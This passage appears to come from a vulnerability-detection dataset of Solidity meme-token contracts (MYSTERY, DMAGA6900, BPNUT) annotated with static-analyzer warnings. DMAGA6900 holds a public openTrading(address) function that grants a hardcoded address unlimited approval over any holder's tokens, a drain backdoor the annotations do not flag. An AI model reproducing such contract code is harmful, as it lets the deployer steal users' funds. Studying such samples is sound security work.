initialized. It is used in MYSTERY.takeFeeOf(address,address)\n\t// Recommendation for efd2c5e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8da25b): MYSTERY.transferDelayEnabled should be constant \n\t// Recommendation for e8da25b: Add the 'constant' attribute to state variables that never change.\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9857dc2): MYSTERY._taxWalletAddress should be constant \n\t// Recommendation for 9857dc2: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWalletAddress;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c634c2): MYSTERY._maxTxAmount should be constant \n\t// Recommendation for 7c634c2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = 1 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bab8a7c): MYSTERY._maxWalletSize should be constant \n\t// Recommendation for bab8a7c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = 1 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b49ede): MYSTERY._taxSwapThreshold should be constant \n\t// Recommendation for 6b49ede: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f221284): MYSTERY._maxTaxSwap should be constant \n\t// Recommendation for f221284: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 298b7e8): MYSTERY.uniswapV2Pair should be constant \n\t// Recommendation for 298b7e8: Add the 'constant' attribute to state variables that never change.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cfcd06): MYSTERY.tradingOpen should be constant \n\t// Recommendation for 4cfcd06: Add the 'constant' attribute to state variables that never change.\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: e69f770): MYSTERY.swapEnabled should be constant \n\t// Recommendation for e69f770: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 86c4aab): MYSTERY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 86c4aab: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d967641): MYSTERY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d967641: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (taxAmount > 0) {\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n emit Transfer(from, address(this), amount);\n }\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tAmount,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: efd2c5e): MYSTERY._isExcludedFromFee is never initialized. It is used in MYSTERY.takeFeeOf(address,address)\n\t// Recommendation for efd2c5e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function takeFeeOf(\n address send,\n address receipt\n ) private view returns (bool) {\n return\n _isExcludedFromFee[send] &&\n send != address(this) &&\n receipt != address(this);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3e7d278): Contract locking ether found Contract MYSTERY has payable functions MYSTERY.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 3e7d278: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10585.sol",
"size_bytes": 10901,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DMAGA6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87490bd): DMAGA6900._router should be constant \n\t// Recommendation for 87490bd: Add the 'constant' attribute to state variables that never change.\n address private _router = 0x89459a8BfC5B9953C8B88A4525cE56CB4A2e7fcF;\n\n\t// WARNING Optimization Issue (constable-states | ID: 622ec75): DMAGA6900._startBuyTax should be constant \n\t// Recommendation for 622ec75: Add the 'constant' attribute to state variables that never change.\n uint256 private _startBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6988bc): DMAGA6900._startSellTax should be constant \n\t// Recommendation for e6988bc: Add the 'constant' attribute to state variables that never change.\n uint256 private _startSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: e316259): DMAGA6900._secondBuyTax should be constant \n\t// Recommendation for e316259: Add the 'constant' attribute to state variables that never change.\n uint256 private _secondBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 287aeb1): DMAGA6900._secondSellTax should be constant \n\t// Recommendation for 287aeb1: Add the 'constant' attribute to state variables that never change.\n uint256 private _secondSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3fa1fe5): DMAGA6900._reduceBuyTaxAt should be constant \n\t// Recommendation for 3fa1fe5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: c619ae7): DMAGA6900._reduceSellTaxAt should be constant \n\t// Recommendation for c619ae7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc6567a): DMAGA6900._preventSwapBefore should be constant \n\t// Recommendation for fc6567a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _tradeCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dark MAGA 6900\";\n\n string private constant _symbol = unicode\"DMAGA6900\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9752e01): DMAGA6900._taxSwapThreshold should be constant \n\t// Recommendation for 9752e01: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a335ae9): DMAGA6900._maxTaxSwap should be constant \n\t// Recommendation for a335ae9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 833ec1c): DMAGA6900.uniswapV2Router should be immutable \n\t// Recommendation for 833ec1c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2a821df): DMAGA6900.sellCount should be constant \n\t// Recommendation for 2a821df: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a82539c): DMAGA6900.lastSellBlock should be constant \n\t// Recommendation for a82539c: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 091cbe4): DMAGA6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 091cbe4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 85fcb78): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 85fcb78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b36686c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b36686c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 85fcb78\n\t\t// reentrancy-benign | ID: b36686c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 85fcb78\n\t\t// reentrancy-benign | ID: b36686c\n _approve(\n sender,\n _msgSender(),\n allowance(sender, _msgSender()).sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a925e1d): DMAGA6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a925e1d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b36686c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 85fcb78\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2efacbf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2efacbf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 37e2cfe): DMAGA6900._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 37e2cfe: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b631944): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b631944: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeAmt = 0;\n\n if (from != owner() && to != owner() && to != _router) {\n if (_tradeCount == 0) {\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceBuyTaxAt)\n ? _secondBuyTax\n : _startBuyTax\n )\n .div(100);\n }\n\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceBuyTaxAt)\n ? _secondBuyTax\n : _startBuyTax\n )\n .div(100);\n\n _tradeCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceSellTaxAt)\n ? _secondSellTax\n : _startSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _tradeCount > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 2efacbf\n\t\t\t\t\t// reentrancy-eth | ID: b631944\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// reentrancy-events | ID: 2efacbf\n\t\t\t\t// tautology | ID: 37e2cfe\n\t\t\t\t// reentrancy-eth | ID: b631944\n if (contractETHBalance >= 0) sendETHToFee(contractETHBalance);\n }\n }\n\n if (feeAmt > 0) {\n\t\t\t// reentrancy-eth | ID: b631944\n _balances[address(this)] = _balances[address(this)].add(feeAmt);\n\n\t\t\t// reentrancy-events | ID: 2efacbf\n emit Transfer(from, address(this), feeAmt);\n }\n\n\t\t// reentrancy-eth | ID: b631944\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b631944\n _balances[to] = _balances[to].add(amount.sub(feeAmt));\n\n\t\t// reentrancy-events | ID: 2efacbf\n emit Transfer(from, to, amount.sub(feeAmt));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 85fcb78\n\t\t// reentrancy-events | ID: 2efacbf\n\t\t// reentrancy-benign | ID: b36686c\n\t\t// reentrancy-eth | ID: b631944\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 85fcb78\n\t\t// reentrancy-events | ID: 2efacbf\n\t\t// reentrancy-eth | ID: b631944\n payable(_router).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7b3b59b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7b3b59b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4b724e9): DMAGA6900.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4b724e9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f5e57e2): DMAGA6900.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f5e57e2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1eb3941): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1eb3941: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 7b3b59b\n\t\t// reentrancy-eth | ID: 1eb3941\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7b3b59b\n\t\t// unused-return | ID: 4b724e9\n\t\t// reentrancy-eth | ID: 1eb3941\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7b3b59b\n\t\t// unused-return | ID: f5e57e2\n\t\t// reentrancy-eth | ID: 1eb3941\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7b3b59b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1eb3941\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function rescueETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4021e92): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4021e92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 779a621): DMAGA6900.openTrading(address) ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 779a621: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1a82b11): DMAGA6900.openTrading(address) ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1a82b11: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 93eca3b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 93eca3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading(address lp) public {\n require(tradingOpen, \"trading is not open\");\n\n _approve(lp, address(_router), type(uint256).max);\n if (!tradingOpen)\n\t\t\t// reentrancy-benign | ID: 4021e92\n\t\t\t// unused-return | ID: 1a82b11\n\t\t\t// reentrancy-eth | ID: 93eca3b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4021e92\n\t\t// unused-return | ID: 779a621\n\t\t// reentrancy-eth | ID: 93eca3b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4021e92\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 93eca3b\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10586.sol",
"size_bytes": 21617,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BPNUT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b5e7ccc): BPNUT._taxWallet should be immutable \n\t// Recommendation for b5e7ccc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: adcd903): BPNUT._initialBuyTax should be constant \n\t// Recommendation for adcd903: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2034353): BPNUT._initialSellTax should be constant \n\t// Recommendation for 2034353: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 27;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9692b26): BPNUT._reduceBuyTaxAt should be constant \n\t// Recommendation for 9692b26: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02f94dc): BPNUT._reduceSellTaxAt should be constant \n\t// Recommendation for 02f94dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74c7454): BPNUT._preventSwapBefore should be constant \n\t// Recommendation for 74c7454: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Baby Peanut the Squirrel\";\n\n string private constant _symbol = unicode\"$BPNUT\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c0100b): BPNUT._taxSwapThreshold should be constant \n\t// Recommendation for 3c0100b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a4a19e): BPNUT._maxTaxSwap should be constant \n\t// Recommendation for 6a4a19e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 